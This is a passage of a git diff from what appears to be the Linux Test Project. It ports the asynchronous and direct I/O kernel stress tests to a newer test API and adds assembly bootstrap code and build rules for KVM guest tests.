NUM_CHILDREN); - num_children = NUM_CHILDREN; - } - break; - case '?': - usage(); - break; - } + if (tst_parse_int(str_numchildren, &numchildren, 1, INT_MAX)) { + tst_brk(TBROK, "Invalid number of children '%s'", + str_numchildren); } - setup(); - tst_resm(TINFO, "Dirtying free blocks"); - dirty_freeblocks(filesize); + if (tst_parse_filesize(str_writesize, &writesize, 1, LLONG_MAX)) + tst_brk(TBROK, "Invalid write blocks size '%s'", str_writesize); - fd = SAFE_OPEN(cleanup, filename, - O_DIRECT | O_WRONLY | O_CREAT | O_EXCL, 0600); - SAFE_FTRUNCATE(cleanup, fd, filesize); - - tst_resm(TINFO, "Starting I/O tests"); - signal(SIGTERM, SIG_DFL); - for (i = 0; i < num_children; i++) { - switch (pid[i] = fork()) { - case 0: - SAFE_CLOSE(NULL, fd); - read_sparse(filename, filesize); - break; - case -1: - while (i-- > 0) - kill(pid[i], SIGTERM); + if (tst_parse_filesize(str_filesize, &filesize, 1, LLONG_MAX)) + tst_brk(TBROK, "Invalid file size '%s'", str_filesize); - tst_brkm(TBROK | TERRNO, cleanup, "fork()"); - default: - continue; - } + if (tst_parse_int(str_numaio, &numaio, 1, INT_MAX)) { + tst_brk(TBROK, "Invalid number of AIO control blocks '%s'", + str_numaio); + } + + if ((numaio * writesize) > filesize) { + numaio = filesize / writesize; + tst_res(TINFO, + "Numbers of AIO have been reduced to %d so we fit filesize", + numaio); } - tst_sig(FORK, DEF_HANDLER, cleanup); - ret = aiodio_sparse(fd, alignment, writesize, filesize, num_aio); + SAFE_STAT(".", &sb); + alignment = sb.st_blksize; + + run_child = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + tst_res(TINFO, "Dirtying free blocks"); + dirty_freeblocks(filesize); +} - tst_resm(TINFO, "Killing childrens(s)"); +static void cleanup(void) +{ + if (run_child) { + *run_child = 0; + SAFE_MUNMAP((void *)run_child, sizeof(int)); + } +} - for (i = 0; i < num_children; i++) - kill(pid[i], SIGTERM); +static void run(void) +{ + char *filename = "file.bin"; + int i, pid; - for (i = 0; i < num_children; i++) { - int status; - pid_t p; + *run_child = 1; - p = waitpid(pid[i], &status, 0); - if (p < 0) { - tst_resm(TBROK | TERRNO, "waitpid()"); - } else { - if (WIFEXITED(status) && WEXITSTATUS(status) == 10) - children_errors++; + for (i = 0; i < numchildren; i++) { + if (!SAFE_FORK()) { + io_read(filename, filesize, run_child); + return; } } - if (children_errors) - tst_resm(TFAIL, "%i children(s) exited abnormally", - children_errors); + pid = SAFE_FORK(); + if (!pid) { + aiodio_sparse(filename, alignment, writesize, filesize, numaio); + return; + } - if (!children_errors && !ret) - tst_resm(TPASS, "Test passed"); + tst_res(TINFO, "Child %i creates a sparse file", pid); - cleanup(); - tst_exit(); -} + for (;;) { + if (SAFE_WAITPID(pid, NULL, WNOHANG)) + break; -static void setup(void) -{ - tst_sig(FORK, DEF_HANDLER, cleanup); - tst_tmpdir(); -} + sleep(1); -static void cleanup(void) -{ - if (fd > 0 && close(fd)) - tst_resm(TWARN | TERRNO, "Failed to close file"); + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Test out of runtime, exiting"); + kill(pid, SIGKILL); + SAFE_WAITPID(pid, NULL, 0); + break; + } + } + + *run_child = 0; - tst_rmdir(); + if (!tst_validate_children(numchildren)) + tst_res(TPASS, "All bytes read were zeroed"); } +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .forks_child = 1, + .options = (struct tst_option[]) { + {"n:", &str_numchildren, "Number of threads (default 16)"}, + {"w:", &str_writesize, "Size of writing blocks (default 1K)"}, + {"s:", &str_filesize, "Size of file (default 100M)"}, + {"o:", &str_numaio, "Number of AIO control blocks (default 16)"}, + {}, + }, + .skip_filesystems = (const char *[]) { + "tmpfs", + NULL + }, + .max_runtime = 1800, +}; #else -int main(void) -{ - tst_brkm(TCONF, NULL, "test requires libaio and it's development packages"); -} +TST_TEST_TCONF("test requires libaio and its development packages"); #endif diff --git a/testcases/kernel/io/ltp-aiodio/common.h b/testcases/kernel/io/ltp-aiodio/common.h index c27c3a0a..200bbe18 100755 --- a/testcases/kernel/io/ltp-aiodio/common.h +++ b/testcases/kernel/io/ltp-aiodio/common.h @@ -44,8 +44,12 @@ static inline void io_append(const char *path, char pattern, int flags, size_t b fd = SAFE_OPEN(path, flags, 0666); - for (i = 0; i < bcount; i++) - SAFE_WRITE(1, fd, bufptr, bs); + for (i = 0; i < bcount; i++) { + SAFE_WRITE(SAFE_WRITE_ALL, fd, bufptr, bs); + + if (!tst_remaining_runtime()) + break; + } free(bufptr); SAFE_CLOSE(fd); @@ -63,7 +67,7 @@ static inline void io_read(const char *filename, int filesize, volatile int *run tst_res(TINFO, "child %i reading file", getpid()); - while (*run_child) { + for (;;) { off_t offset = 0; char *bufoff; @@ -74,15 +78,21 @@ static inline void io_read(const char *filename, int filesize, volatile int *run if (r > 0) { bufoff = check_zero(buff, r); if (bufoff) { - tst_res(TINFO, "non-zero read at offset %zu", + tst_res(TFAIL, + "non-zero read at offset %zu", offset + (bufoff - buff)); - break; + SAFE_CLOSE(fd); + exit(1); } offset += r; } + + if (!*run_child || !tst_remaining_runtime()) + goto exit; } } +exit: SAFE_CLOSE(fd); } diff --git a/testcases/kernel/io/ltp-aiodio/dio_append.c b/testcases/kernel/io/ltp-aiodio/dio_append.c index c099793f..057ae73d 100755 --- a/testcases/kernel/io/ltp-aiodio/dio_append.c +++ b/testcases/kernel/io/ltp-aiodio/dio_append.c @@ -19,7 +19,7 @@ #include "tst_test.h" #include "common.h" -static int *run_child; +static volatile int *run_child; static char *str_numchildren; static char *str_writesize; @@ -49,7 +49,10 @@ static void setup(void) static void cleanup(void) { - SAFE_MUNMAP(run_child, sizeof(int)); + if (run_child) { + *run_child = 0; + SAFE_MUNMAP((void *)run_child, sizeof(int)); + } } static void run(void) @@ -71,6 +74,9 @@ static void run(void) io_append(filename, 0, O_DIRECT | O_WRONLY | O_CREAT, writesize, appends); + if (!tst_remaining_runtime()) + tst_res(TINFO, "Test out of runtime, exiting"); + if (SAFE_WAITPID(-1, &status, WNOHANG)) tst_res(TFAIL, "Non zero bytes read"); else @@ -87,6 +93,7 @@ static struct tst_test test = { .cleanup = cleanup, .needs_tmpdir = 1, .forks_child = 1, + .max_runtime = 1800, .options = (struct tst_option[]) { {"n:", &str_numchildren, "Number of processes (default 16)"}, {"w:", &str_writesize, "Write size for each append (default 64K)"}, diff --git a/testcases/kernel/io/ltp-aiodio/dio_read.c b/testcases/kernel/io/ltp-aiodio/dio_read.c index f6ed5978..54a0bc5c 100755 --- a/testcases/kernel/io/ltp-aiodio/dio_read.c +++ b/testcases/kernel/io/ltp-aiodio/dio_read.c @@ -51,6 +51,9 @@ static void do_buffered_writes(int fd, char *bufptr, long long fsize, long long tst_brk(TBROK, "pwrite: wrote %lld bytes out of %lld", w, wsize); SAFE_FSYNC(fd); + + if (!tst_remaining_runtime()) + return; } } @@ -70,11 +73,16 @@ static int do_direct_reads(char *filename, char *bufptr, long long fsize, long l if (*children_completed >= numchildren) { tst_res(TINFO, - "Writers finshed, exitting reader (iteration %i)", + "Writers finshed, exiting reader (iteration %i)", iter); goto exit; } + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Test out of runtime, exiting"); + goto exit; + } + w = pread(fd, bufptr, rsize, offset); if (w < 0) tst_brk(TBROK, "pread: %s", tst_strerrno(-w)); @@ -170,6 +178,7 @@ static struct tst_test test = { .cleanup = cleanup, .needs_tmpdir = 1, .forks_child = 1, + .max_runtime = 1800, .options = (struct tst_option[]) { {"n:", &str_numchildren, "Number of threads (default 8)"}, {"w:", &str_writesize, "Size of writing blocks (default 32M)"}, diff --git a/testcases/kernel/io/ltp-aiodio/dio_sparse.c b/testcases/kernel/io/ltp-aiodio/dio_sparse.c index 0039daa8..04b93ff2 100755 --- a/testcases/kernel/io/ltp-aiodio/dio_sparse.c +++ b/testcases/kernel/io/ltp-aiodio/dio_sparse.c @@ -26,7 +26,7 @@ #include "tst_test.h" #include "common.h" -static int *run_child; +static volatile int *run_child; static char *str_numchildren; static char *str_writesize; @@ -51,7 +51,11 @@ static void dio_sparse(int fd, int align, long long fs, int ws, long long off) SAFE_LSEEK(fd, off, SEEK_SET); for (i = off; i < fs;) { - w = SAFE_WRITE(0, fd, bufptr, ws); + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Test runtime is over, exiting"); + return; + } + w = SAFE_WRITE(SAFE_WRITE_ANY, fd, bufptr, ws); i += w; } } @@ -85,14 +89,13 @@ static void cleanup(void) { if (run_child) { *run_child = 0; - SAFE_MUNMAP(run_child, sizeof(int)); + SAFE_MUNMAP((void *)run_child, sizeof(int)); } } static void run(void) { char *filename = "dio_sparse"; - int status; int fd; int i; @@ -109,13 +112,10 @@ static void run(void) } dio_sparse(fd, alignment, filesize, writesize, offset); + *run_child = 0; - if (SAFE_WAITPID(-1, &status, WNOHANG)) - tst_res(TFAIL, "Non zero bytes read"); - else + if (!tst_validate_children(numchildren)) tst_res(TPASS, "All bytes read were zeroed"); - - *run_child = 0; } static struct tst_test test = { @@ -135,5 +135,5 @@ static struct tst_test test = { "tmpfs", NULL }, - .timeout = 1800, + .max_runtime = 1800, }; diff --git a/testcases/kernel/io/ltp-aiodio/dio_truncate.c b/testcases/kernel/io/ltp-aiodio/dio_truncate.c index 1fbf83de..2c54f898 100755 --- a/testcases/kernel/io/ltp-aiodio/dio_truncate.c +++ b/testcases/kernel/io/ltp-aiodio/dio_truncate.c @@ -31,9 +31,10 @@ #include #include #include "tst_test.h" +#include "tst_kconfig.h" #include "common.h" -static int *run_child; +static volatile int *run_child; static char *str_numchildren; static char *str_filesize; @@ -86,6 +87,7 @@ static void dio_read(const char *filename, long long align, size_t bs) static void setup(void) { struct stat sb; + static const char * const kconf_rt[] = {"CONFIG_PREEMPT_RT", NULL}; if (tst_parse_int(str_numchildren, &numchildren, 1, INT_MAX)) tst_brk(TBROK, "Invalid number of children '%s'", str_numchildren); @@ -103,13 +105,18 @@ static void setup(void) alignment = sb.st_blksize; run_child = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + if (numchildren > 2 && !tst_kconfig_check(kconf_rt)) { + tst_res(TINFO, "Warning: This test may deadlock on RT kernels"); + tst_res(TINFO, "If it does, reduce number of threads to 2"); + } } static void cleanup(void) { if (run_child) { *run_child = 0; - SAFE_MUNMAP(run_child, sizeof(int)); + SAFE_MUNMAP((void *)run_child, sizeof(int)); } } @@ -142,6 +149,11 @@ static void run(void) fail = 1; break; } + + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Test out of runtime, exiting"); + break; + } } if (fail) @@ -158,6 +170,7 @@ static struct tst_test test = { .cleanup = cleanup, .needs_tmpdir = 1, .forks_child = 1, + .max_runtime = 1800, .options = (struct tst_option[]) { {"n:", &str_numchildren, "Number of threads (default 16)"}, {"s:", &str_filesize, "Size of file (default 64K)"}, diff --git a/testcases/kernel/kvm/.gitignore b/testcases/kernel/kvm/.gitignore new file mode 100644 index 00000000..9638a6fc --- /dev/null +++ b/testcases/kernel/kvm/.gitignore @@ -0,0 +1,4 @@ +/kvm_pagefault01 +/kvm_svm01 +/kvm_svm02 +/kvm_svm03 diff --git a/testcases/kernel/kvm/Makefile b/testcases/kernel/kvm/Makefile new file mode 100644 index 00000000..ce4a5ede --- /dev/null +++ b/testcases/kernel/kvm/Makefile @@ -0,0 +1,69 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2021 Linux Test Project + +top_srcdir ?= ../../.. + +include $(top_srcdir)/include/mk/testcases.mk + +ASFLAGS = +CPPFLAGS += -I$(abs_srcdir)/include +GUEST_CPPFLAGS = $(CPPFLAGS) -DCOMPILE_PAYLOAD +GUEST_CFLAGS = -ffreestanding -O2 -Wall -fno-asynchronous-unwind-tables -fno-stack-protector -mno-mmx -mno-sse +GUEST_LDFLAGS = -nostdlib -Wl,--build-id=none -z noexecstack +GUEST_LDLIBS = +KVM_LD ?= $(LD) + +FILTER_OUT_MAKE_TARGETS := lib_guest lib_host lib_x86 + +ifeq ($(HOST_CPU),x86_64) + ifneq (,$(findstring m32,$(CFLAGS))) + HOST_CPU = x86 + endif +endif + +ifeq ($(HOST_CPU),x86) + GUEST_CFLAGS += -m32 + ASFLAGS += --32 +endif + +# Some distros enable -pie by default. That breaks KVM payload linking. +ifdef LTP_CFLAGS_NOPIE + GUEST_CFLAGS += -fno-pie + GUEST_LDFLAGS += -no-pie +endif + +GUEST_LDFLAGS += -Wl,-T$(abs_srcdir)/linker/$(HOST_CPU).lds +ARCH_OBJ = bootstrap_$(HOST_CPU).o + +ifeq ($(HOST_CPU),x86_64) +ARCH_OBJ += lib_x86.o +BIN_FORMAT=elf64-x86-64 +else ifeq ($(HOST_CPU),x86) +ARCH_OBJ += lib_x86.o +BIN_FORMAT=elf32-i386 +else +MAKE_TARGETS = +endif + +lib_guest.o $(ARCH_OBJ): CPPFLAGS := $(GUEST_CPPFLAGS) +lib_guest.o $(ARCH_OBJ): CFLAGS := $(GUEST_CFLAGS) + +kvm_svm03: CFLAGS += -pthread +kvm_svm03: LDLIBS += -pthread + +include $(top_srcdir)/include/mk/generic_leaf_target.mk + +%-payload.o: %.c lib_guest.o $(ARCH_OBJ) +ifdef VERBOSE + $(CC) $(GUEST_CPPFLAGS) $(GUEST_CFLAGS) $(GUEST_LDFLAGS) -o $*-payload.elf $^ $(GUEST_LDLIBS) + objcopy -O binary -j .init.boot -j .text -j .data -j .init -j .preinit_array -j .init_array --gap-fill=0 $*-payload.elf $*-payload.bin + $(KVM_LD) -z noexecstack -r -T $(abs_srcdir)/linker/payload.lds --oformat=$(BIN_FORMAT) -o $@ $*-payload.bin +else + @$(CC) $(GUEST_CPPFLAGS) $(GUEST_CFLAGS) $(GUEST_LDFLAGS) -o $*-payload.elf $^ $(GUEST_LDLIBS) + @objcopy -O binary -j .init.boot -j .text -j .data -j .init -j .preinit_array -j .init_array --gap-fill=0 $*-payload.elf $*-payload.bin + @$(KVM_LD) -z noexecstack -r -T $(abs_srcdir)/linker/payload.lds --oformat=$(BIN_FORMAT) -o $@ $*-payload.bin + @echo KVM_CC $(target_rel_dir)$@ +endif + @rm $*-payload.elf $*-payload.bin + +$(MAKE_TARGETS): %: %-payload.o lib_host.o diff --git a/testcases/kernel/kvm/bootstrap_x86.S b/testcases/kernel/kvm/bootstrap_x86.S new file mode 100644 index 00000000..a39c6bea --- /dev/null +++ b/testcases/kernel/kvm/bootstrap_x86.S @@ -0,0 +1,467 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2020 SUSE LLC + * Author: Nicolai Stange + * LTP port: Martin Doucha + */ + +.set KVM_TEXIT, 0xff +.set RESULT_ADDRESS, 0xfffff000 +.set KVM_GDT_SIZE, 32 + +.set MSR_VM_HSAVE_PA, 0xc0010117 + +/* + * This section will be allocated at address 0x1000 and + * jumped to from the reset stub provided by kvm_run. + */ +.code16 +.section .init.protected_mode, "ax" +real_mode_entry: + cli + + lgdt kvm_gdt_desc + + mov $0x11, %eax + mov %eax, %cr0 + + jmp $1 * 8, $protected_mode_entry + +.code32 +protected_mode_entry: + mov $2 * 8, %eax + mov %eax, %ds + mov %eax, %es + jmp init_memlayout + +.section .init.gdt32, "a", @progbits + +.macro gdt32_entry type:req l=0 d=0 dpl=0 limit=0xfffff g=1 p=1 + .4byte \limit & 0xffff + .2byte (\type << 8) | (\dpl << 13) | (\p << 15) + .2byte (\limit >> 16) | (\l << 5) | (\d << 6) | (\g << 7) +.endm +.align 8 +.global kvm_gdt +kvm_gdt: + .8byte 0 + gdt32_entry type=0x1a l=0 d=1 /* Code segment protected_mode, 32bits */ + gdt32_entry type=0x12 /* Data segment, writable */ + .skip (KVM_GDT_SIZE-3)*8 /* Stack, TSS and other segment descriptors */ + +.Lgdt_end: +.global kvm_gdt_desc +kvm_gdt_desc: + .2byte .Lgdt_end - kvm_gdt - 1 + .4byte kvm_gdt + +.code32 +.section .init.memlayout, "ax" +init_memlayout: + /* + * Identity-map the first 2GB of virtual address space. + */ + lea kvm_pagetable, %edi + lea kvm_pgtable_l2, %esi + movl %esi, %eax + mov $1024, %ecx + +1: movl %eax, %ebx + orl $0x3, %ebx /* Flags: present, writable */ + movl %ebx, (%edi) + addl $4, %edi + addl $4096, %eax + dec %ecx + jnz 1b + + /* Fill kvm_pgtable_l2 with identity map of the first 2GB. */ + movl %esi, %edi + movl $512 * 1024, %ecx + xor %eax, %eax + +1: movl %eax, %ebx + orl $0x3, %ebx /* Flags: present, writable */ + movl %ebx, (%edi) + addl $4, %edi + addl $4096, %eax + dec %ecx + jnz 1b + + /* Mark the upper 2GB as unmapped except for the last page. */ + movl $512 * 1024 - 1, %ecx + xor %eax, %eax + rep stosl + movl $0xfffff003, (%edi) + + /* + * Install new pagetable to CR3 and enable memory paging by setting + * CR0.WP and CR0.PG + */ + lea kvm_pagetable, %eax + movl %eax, %cr3 + movl %cr0, %eax + btsl $31, %eax + btsl $16, %eax + movl %eax, %cr0 + + /* Init TSS */ + lea kvm_tss, %edx + movl %edx, %edi + movl $.Ltss_end - kvm_tss, %ecx + xor %eax, %eax + rep stosb + movl %edx, %edi + lea kvm_stack_top, %edx + movl %edx, 4(%edi) + + /* Create a stack descriptor in the 4th GDT slot */ + /* Base address: 0x0, Limit: kvm_stack_bottom */ + xor %eax, %eax + movl $0xc09600, %ebx /* flags + access bits */ + movl $kvm_stack_bottom - 1, %edx + shr $12, %edx + movw %dx, %ax + andl $0xf0000, %edx + orl %edx, %ebx + + lea kvm_gdt + 3*8, %edi + mov %eax, (%edi) + mov %ebx, 4(%edi) + mov $3 * 8, %eax + mov %ax, %ss + lea kvm_stack_top, %esp + + /* Create a TSS descriptor in the 5th GDT slot */ + lea kvm_tss, %edx + movl %edx, %ebx + andl $0xff000000, %ebx + movl %edx, %eax + shr $16, %eax + movb %al, %bl + orl $0x408900, %ebx /* flags + access bits */ + + movl %edx, %eax + movl $.Ltss_end - kvm_tss - 1, %edx + shl $16, %eax + movw %dx, %ax + andl $0xf0000, %edx + orl %edx, %ebx + + lea kvm_gdt + 4*8, %edi + mov %eax, (%edi) + mov %ebx, 4(%edi) + mov $4 * 8, %ax + ltr %ax + + /* Configure and enable interrupts */ + call kvm_init_interrupts + lidt kvm_idt_desc + sti + + /* + * Do just enough of initialization to get to a working + * -ffreestanding environment and call tst_main(void). + */ + lea __preinit_array_start, %edi + lea __preinit_array_end, %esi +1: + cmp %edi, %esi + je 2f + call *(%edi) + add $4, %edi + jmp 1b +2: + + lea __init_array_start, %edi + lea __init_array_end, %esi +1: + cmp %edi, %esi + je 2f + call *(%edi) + add $4, %edi + jmp 1b +2: + call main + jmp kvm_exit + +.global kvm_read_cregs +kvm_read_cregs: + push %edi + mov 8(%esp), %edi + mov %cr0, %eax + mov %eax, (%edi) + mov %cr2, %eax + mov %eax, 4(%edi) + mov %cr3, %eax + mov %eax, 8(%edi) + mov %cr4, %eax + mov %eax, 12(%edi) + pop %edi + ret + +.global kvm_read_sregs +kvm_read_sregs: + push %edi + mov 8(%esp), %edi + mov %cs, %ax + movw %ax, (%edi) + mov %ds, %ax + movw %ax, 2(%edi) + mov %es, %ax + movw %ax, 4(%edi) + mov %fs, %ax + movw %ax, 6(%edi) + mov %gs, %ax + movw %ax, 8(%edi) + mov %ss, %ax + movw %ax, 10(%edi) + pop %edi + ret + +handle_interrupt: + /* save CPU state */ + push %ebp + mov %esp, %ebp + addl $12, %ebp + pushal + + /* call handler */ + push -4(%ebp) + push -8(%ebp) + push %ebp + cld + call tst_handle_interrupt + addl $12, %esp + popal + pop %ebp + addl $8, %esp + iret + +.macro create_intr_handler vector:req padargs=0 +.if \padargs + pushl $0 /* push dummy error code */ +.endif + pushl $\vector + jmp handle_interrupt +.endm + +.global kvm_handle_zerodiv +kvm_handle_zerodiv: + create_intr_handler 0, padargs=1 + +.global kvm_handle_debug +kvm_handle_debug: + create_intr_handler 1, padargs=1 + +.global kvm_handle_nmi +kvm_handle_nmi: + create_intr_handler 2, padargs=1 + +.global kvm_handle_breakpoint +kvm_handle_breakpoint: + create_intr_handler 3, padargs=1 + +.global kvm_handle_overflow +kvm_handle_overflow: + create_intr_handler 4, padargs=1 + +.global kvm_handle_bound_range_exc +kvm_handle_bound_range_exc: + create_intr_handler 5, padargs=1 + +.global kvm_handle_bad_opcode +kvm_handle_bad_opcode: + create_intr_handler 6, padargs=1 + +.global kvm_handle_device_error +kvm_handle_device_error: + create_intr_handler 7, padargs=1 + +.global kvm_handle_double_fault +kvm_handle_double_fault: + create_intr_handler 8 + +.global kvm_handle_invalid_tss +kvm_handle_invalid_tss: + create_intr_handler 10 + +.global kvm_handle_segfault +kvm_handle_segfault: + create_intr_handler 11 + +.global kvm_handle_stack_fault +kvm_handle_stack_fault: + create_intr_handler 12 + +.global kvm_handle_gpf +kvm_handle_gpf: + create_intr_handler 13 + +.global kvm_handle_page_fault +kvm_handle_page_fault: + create_intr_handler 14 + +.global kvm_handle_fpu_error +kvm_handle_fpu_error: + create_intr_handler 16, padargs=1 + +.global kvm_handle_alignment_error +kvm_handle_alignment_error: + create_intr_handler 17 + +.global kvm_handle_machine_check +kvm_handle_machine_check: + create_intr_handler 18, padargs=1 + +.global kvm_handle_simd_error +kvm_handle_simd_error: + create_intr_handler 19, padargs=1 + +.global kvm_handle_virt_error +kvm_handle_virt_error: + create_intr_handler 20, padargs=1 + +.global kvm_handle_cpe +kvm_handle_cpe: + create_intr_handler 21 + +.global kvm_handle_hv_injection +kvm_handle_hv_injection: + create_intr_handler 28, padargs=1 + +.global kvm_handle_vmm_comm +kvm_handle_vmm_comm: + create_intr_handler 29 + +.global kvm_handle_security_error +kvm_handle_security_error: + create_intr_handler 30 + +.global kvm_handle_bad_exception +kvm_handle_bad_exception: + create_intr_handler -1, padargs=1 + +.global kvm_exit +kvm_exit: + movl $RESULT_ADDRESS, %edi + movl $KVM_TEXIT, (%edi) + hlt + jmp kvm_exit + +.global kvm_yield +kvm_yield: + hlt + ret + +.global kvm_svm_guest_entry +kvm_svm_guest_entry: + call *%eax +1: hlt + jmp 1b + +.global kvm_svm_vmrun +kvm_svm_vmrun: + push %edi + mov 8(%esp), %edi + push %ebx + push %esi + push %ebp + + clgi + + /* Save full host state */ + movl $MSR_VM_HSAVE_PA, %ecx + rdmsr + vmsave + push %eax + + /* Load guest registers */ + push %edi + movl (%edi), %eax + /* %eax is loaded by vmrun from VMCB */ + movl 0x0c(%edi), %ebx + movl 0x14(%edi), %ecx + movl 0x1c(%edi), %edx + movl 0x2c(%edi), %esi + movl 0x34(%edi), %ebp + /* %esp is loaded by vmrun from VMCB */ + movl 0x24(%edi), %edi + + vmload + vmrun + vmsave + + /* Clear guest register buffer */ + push %edi + push %ecx + movl 8(%esp), %edi + addl $4, %edi + xorl %eax, %eax + mov $32, %ecx + pushfl + cld + rep stosl + popfl + + /* Save guest registers */ + pop %ecx + pop %eax + pop %edi + movl %ebx, 0x0c(%edi) + movl %ecx, 0x14(%edi) + movl %edx, 0x1c(%edi) + movl %eax, 0x24(%edi) + movl %esi, 0x2c(%edi) + movl %ebp, 0x34(%edi) + /* Copy %eax and %esp from VMCB */ + movl (%edi), %esi + movl 0x5f8(%esi), %eax + movl %eax, 0x04(%edi) + movl 0x5d8(%esi), %eax + movl %eax, 0x3c(%edi) + + pop %eax + vmload + stgi + + pop %ebp + pop %esi + pop %ebx + pop %edi + ret + + +.section .bss.pgtables, "aw", @nobits +.global kvm_pagetable +kvm_pagetable: + .skip 4096 + +kvm_pgtable_l2: + .skip 1024 * 4096 + +.section .bss.stack, "aw", @nobits +.global kvm_stack_bottom +kvm_stack_bottom: + .skip 2 * 4096 +.global kvm_stack_top +kvm_stack_top: + +.section .bss.tss +.global kvm_tss +kvm_tss: + .skip 0x6C +.Ltss_end: + +.section .bss +.align 8 +.global kvm_idt +kvm_idt: + .skip 8 * 256 +.Lidt_end: + +.section .data +.align 8 +.global kvm_idt_desc +kvm_idt_desc: + .2byte .Lidt_end - kvm_idt - 1 + .4byte kvm_idt diff --git a/testcases/kernel/kvm/bootstrap_x86_64.S b/testcases/kernel/kvm/bootstrap_x86_64.S new file mode 100644 index 00000000..b02dd4d9 --- /dev/null +++ b/testcases/kernel/kvm/bootstrap_x86_64.S @@ -0,0 +1,621 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2020 SUSE LLC + * Author: Nicolai Stange + * LTP port: Martin Doucha + */ + +.set KVM_TCONF, 32 +.set KVM_TEXIT, 0xff +.set RESULT_ADDRESS, 0xfffff000 +.set KVM_GDT_SIZE, 32 + +.set MSR_VM_HSAVE_PA, 0xc0010117 + +/* + * This section will be allocated at address 0x1000 and + * jumped to from the reset stub provided by kvm_run. + */ +.code16 +.section .init.protected_mode, "ax" +real_mode_entry: + cli + + lgdt kvm_gdt32_desc + + mov $0x11, %eax + mov %eax, %cr0 + + jmp $3 * 8, $protected_mode_entry + +.code32 +protected_mode_entry: + mov $2 * 8, %eax + mov %eax, %ds + mov %eax, %es + jmp init_memlayout + +.section .init.gdt32, "a", @progbits + +.macro gdt32_entry type:req l=0 d=0 dpl=0 limit=0xfffff g=1 p=1 + .4byte \limit & 0xffff + .2byte (\type << 8) | (\dpl << 13) | (\p << 15) + .2byte (\limit >> 16) | (\l << 5) | (\d << 6) | (\g << 7) +.endm +.align 8 +kvm_gdt32: + .8byte 0 + gdt32_entry type=0x1a l=1 /* Code segment long mode */ + gdt32_entry type=0x12 /* Data segment, writable */ + gdt32_entry type=0x1a l=0 d=1 /* Code segment protected_mode, 32bits */ + +.Lgdt32_end: +kvm_gdt32_desc: + .2byte .Lgdt32_end - kvm_gdt32 - 1 + .4byte kvm_gdt32 + +.section .data.strings, "aS", @progbits +source_filename: + .ascii "bootstrap_x86_64.S\0" + +long_mode_err: + .ascii "Virtual CPU does not support 64bit mode\0" + +.code32 +.section .init.memlayout, "ax" +init_memlayout: + /* + * Identity-map the first 2GB of virtual address space. + */ + lea kvm_pagetable, %edi + + /* + * Set the first entry of kvm_pagetable (level 1) and fill the rest + * of the page with zeroes. + */ + lea kvm_pgtable_l2, %esi + movl %esi, %ebx + orl $0x3, %ebx /* Flags: present, writable */ + movl %ebx, (%edi) + addl $4, %edi + movl $1023, %ecx + xor %eax, %eax + rep stosl + + /* + * Set the first four entries of kvm_pgtable_l2 and fill the rest + * of the page with zeroes. + */ + mov %esi, %edi + lea kvm_pgtable_l3, %esi + movl %esi, %eax + mov $4, %ecx + +1: movl %eax, %ebx + orl $0x3, %ebx /* Flags: present, writable */ + movl %ebx, (%edi) + movl $0, 4(%edi) + addl $8, %edi + addl $4096, %eax + dec %ecx + jnz 1b + + movl $1016, %ecx + xor %eax, %eax + rep stosl + + /* Fill kvm_pgtable_l3 with pointers to kvm_pgtable_l4 */ + mov %esi, %edi + lea kvm_pgtable_l4, %esi + movl %esi, %eax + mov $4 * 512, %ecx + +1: movl %eax, %ebx + orl $0x3, %ebx /* Flags: present, writable */ + movl %ebx, (%edi) + movl $0, 4(%edi) + addl $8, %edi + addl $4096, %eax + dec %ecx + jnz 1b + + /* Fill kvm_pgtable_l4 with identity map of the first 2GB. */ + movl %esi, %edi + movl $2 * 512 * 512, %ecx + xor %eax, %eax + +1: movl %eax, %ebx + orl $0x3, %ebx /* Flags: present, writable */ + movl %ebx, (%edi) + movl $0, 4(%edi) + addl $8, %edi + addl $4096, %eax + dec %ecx + jnz 1b + + /* Mark the upper 2GB as unmapped except for the last page. */ + movl $4 * 512 * 512 - 2, %ecx + xor %eax, %eax + rep stosl + movl $0xfffff003, (%edi) + movl $0, 4(%edi) + + /* + * Now that the identity-map pagestables have been populated, + * we're ready to install them at CR3 and switch to long mode. + */ + /* Enable CR4.PAE */ + movl %cr4, %eax + btsl $5, %eax + movl %eax, %cr4 + + lea kvm_pagetable, %eax + movl %eax, %cr3 + + /* Check if the CPU supports long mode. */ + movl $0x80000000, %eax + cpuid + cmpl $0x80000000, %eax + jg 1f + movl $KVM_TCONF, %edi + lea long_mode_err, %esi + jmp init_error +1: + movl $0x80000001, %eax + cpuid + bt $29, %edx + jc 1f + movl $KVM_TCONF, %edi + lea long_mode_err, %esi + jmp init_error +1: + + /* Activate EFER.LME to enable long mode. */ + movl $0xc0000080, %ecx + rdmsr + btsl $8, %eax + wrmsr + + /* Enable CR0.PG and CR0.WP */ + movl %cr0, %eax + btsl $31, %eax + btsl $16, %eax + movl %eax, %cr0 + + /* Long jmp to load the long mode %cs. */ + jmp $1 * 8, $long_mode_entry + +init_error: + /* Write error info to test result structure and exit VM */ + /* Equivalent to tst_brk() but using only 32bit instructions */ + movl %edi, RESULT_ADDRESS + movl $RESULT_ADDRESS+4, %edi + movl $0, (%edi) + lea source_filename, %eax + movl %eax, 4(%edi) + movl $0, 8(%edi) + addl $12, %edi + xor %edx, %edx + +1: movzbl (%esi,%edx,1), %eax + movb %al, (%edi,%edx,1) + inc %edx + test %al, %al + jne 1b + hlt + jmp kvm_exit + +.code64 +long_mode_entry: + lgdt kvm_gdt_desc + + /* + * Reset data segment selectors to NULL selector and + * initialize stack. + */ + xor %eax, %eax + mov %eax, %ds + mov %eax, %es + mov %eax, %ss + lea kvm_stack_top, %rsp + + /* + * Strictly speaking a TSS should not be required + * and experiments confirm that. However, we + * might perhaps want to play games with the + * interrupt/exception stacks in the future, so + * install a minimal one now. + */ + lea kvm_tss, %rdx + movq %rdx, %rdi + movq $.Ltss_end - kvm_tss, 